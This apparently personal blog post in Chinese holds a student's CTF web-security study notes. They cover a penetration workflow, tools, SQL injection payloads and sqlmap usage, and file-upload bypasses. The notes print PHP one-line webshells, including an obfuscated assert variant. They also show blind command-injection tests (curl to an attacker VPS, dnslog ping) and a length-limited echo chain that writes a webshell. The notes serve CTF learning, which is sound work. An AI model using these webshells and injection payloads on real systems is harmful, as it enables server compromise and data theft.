题型分布

1、web应用安全(web漏洞利用及挖掘)
2、misc数据分析 图片视频隐写 压缩包分析 流量分析 流量协议理解 内存分析(镜像分析)
3、crypto密码学 (古典密码简单利用 线代密码学及数论)
4、re逆向 (exe apk 程序中是否存在加壳或混淆加密)
5、pwn二进制 (本科题 二进制文件分析运用)

一、cookie和session

会话(Session)跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session

Cookie通过在客户端记录信息确定用户身份
Session通过在服务器端记录信息确定用户身份

cookie就是这样的一种机制。它可以弥补HTTP协议无状态的不足。在Session出现之前基本上所有的网站都采用Cookie来跟踪会话。
Session 与 Cookie 的作用都是为了保持访问用户与后端服务器的交互状态。

cookie容易被劫持 只是确认会话状态的技术

二、渗透思路

信息收集--->渗透攻击--->获取权限--->维持后门--->清楚痕迹

1、先看页面功能点是什么(登录 查询 执行命令等等)

登录--->爆破 弱口令 注入

查询--->注入 过滤 xss 接口(xxe)

上传--->包含 传马

2、看语言架构

php:命令执行&php特性漏洞&一句话 看php版本 7以前看特性

Java:中间件漏洞 Tomcat spring 等等框架漏洞 模板注入

Python:目录遍历 固定文件多 SSTI模板注入

go 我不会

3、常用工具

bp、信息搜集之类的插件

扫描工具:nmap goby(系统漏洞) awvs xray(漏洞点 系统 网站) 御剑 dirb dirsearch(字典)

sql注入工具:sqlmap Python脚本 --->必须会

xss平台(vps):xssplatfrom 盗取他人cookie或回传 线上少见

webshell管理:冰蝎(asp)、蚁剑、哥斯拉(asp)、菜刀

文件包含工具:LFlsuite、字典 可以不用工具

编码解码工具:ctftools、在线工具

暴力破解工具:burp暴力破解模块,md5Crack,hydra(爆破ssh)

Burpsuite一定要熟练(CSRF等)

Firefox浏览器、实际环境才常用端口扫描、备份文件

三、常见套路

1、直接查看网页源码:考察基本的查看网页源代码、HTTP请求、修改页面元素等

2、查看http请求/响应:使用burp抓包查看http头部信息,修改或添加http请求头

3、不常见类型的请求发送:利用0PI0NS请求后去支持的请求方式(POST、GET、PUT、DELETE)

4、web源码泄漏

5、加密解密

6、PHP特性:PHP弱类型、PHP伪协议、数组返回NULL绕过

7、waf绕过:大小写混合,使用编码,使用注释,使用空字节

8、OWASP TOP 10 漏洞:常规漏洞叠加

四、常见信息泄露(详见文档)

注释信息泄露

phpinfo函数信息泄露

.hg .svn .git .cvs .swp .bak .back等泄露

.zip .rar .tar .tar.gz网站备份压缩文件泄露

GitHub源码泄漏

bp的intruder模块 密码爆破、Token爆破、验证码爆破

五、SQL注入

(详见https://www.zmxupforever.cn/?p=434

现实中比较少 但是ctf中最常见 只要有数据库的连接就可能存在

1、判断注入类型

字符型还是数字型、单引号还是双引号、有没有括号

1 " or "1" = "1

2、判断是GET还是POST

看URL 抓包看 闭合看是--闭合还是#

3、判断列数&联合查询

order by  1,2,3     

union select 1,2,version()

4、爆库-表-列-字段

遇到WAF,sqlmap就很难用了

示例:

先抓包 右键 select file 保存 然后到目录上

sqlmap -r 111.txt --batch

--batch 全部默认

六、文件上传

文件后缀:大小写、不同类型后缀(php3 phtml等)

文件头:伪造(GIF89a)、图片马

文件内容:针对一句话

①免杀

<?php eval($_POST[123]);?>

<?php
$a='a'.'s'.'s'.'e'.'r'.'t';
$a($_POST[123]);
?>

<script language="php">
$a='a'.'s'.'s'.'e'.'r'.'t';
$a($_POST[123]);
</script>

②fuzz结果绕过关键字检测

配置文件:.htaccess .user.ini

伪协议:上传压缩包 用伪协议读取

示例:小技巧

dirb url -X .php.bak -i 200

扫出来一个备份 写的上传的源码

date一个时间戳 没有就加 伪造时间戳

七、命令执行

执行系统命令的参数

system、exec(回显)、shell_exec(不回显)、passthru、popen、proc_popen等

命令字符拼接

有些需要代码审计 查看过滤规则

无回显

1、延迟

?cmd=sleep 3
通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行,延迟3秒

2、HTTP请求

(1)在公网服务器监听监听端口 需要有公网ip的vps
nc -lvp 4444
(2)向目标服务器发起http请求,执行curl命令
?cmd=curl ip:4444

如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞

3、DNS 请求

dnslog

?cmd=ping 9y8y3k.dnslog.cn

4、导出

ping 127.0.0.1 >1.txt

补充

1、使用>或>>
?cmd=cat flag.php >flag.txt

2、mv 或 cp
?cmd=mv flag.php flag.txt
?cmd=cp flag.php flag.txt

3、打包压缩

(1)tar打包或tar打包并压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php

(2)zip压缩
zip flag.zip flag.php

4、cut and sleep

sed指定读取文件的第几行
cat flag.php | sed-n '2p‘
提取每一行的第3个字节
cut -b 3 flag文件
最后
cat flag.php | sed -n '2p' | cut -b 1

php在url传输中会注释 要注意

5、限制长度

因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入

payload:
echo \<?php>1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php

6、无字母 无参数 挺多的

无字母:取反 让系统回显

在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

7、无参数RCE

只能用函数 但是不让用参数 如:只能用system 不能用ls

很多函数多重内嵌

最难:无字母+无参数+长度限制

难点--->熟悉相关函数和编码才能进行构造

八、ssti模板注入

待学

九、逻辑漏洞

待学

小结

我在经历和你相同的处境

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-10-12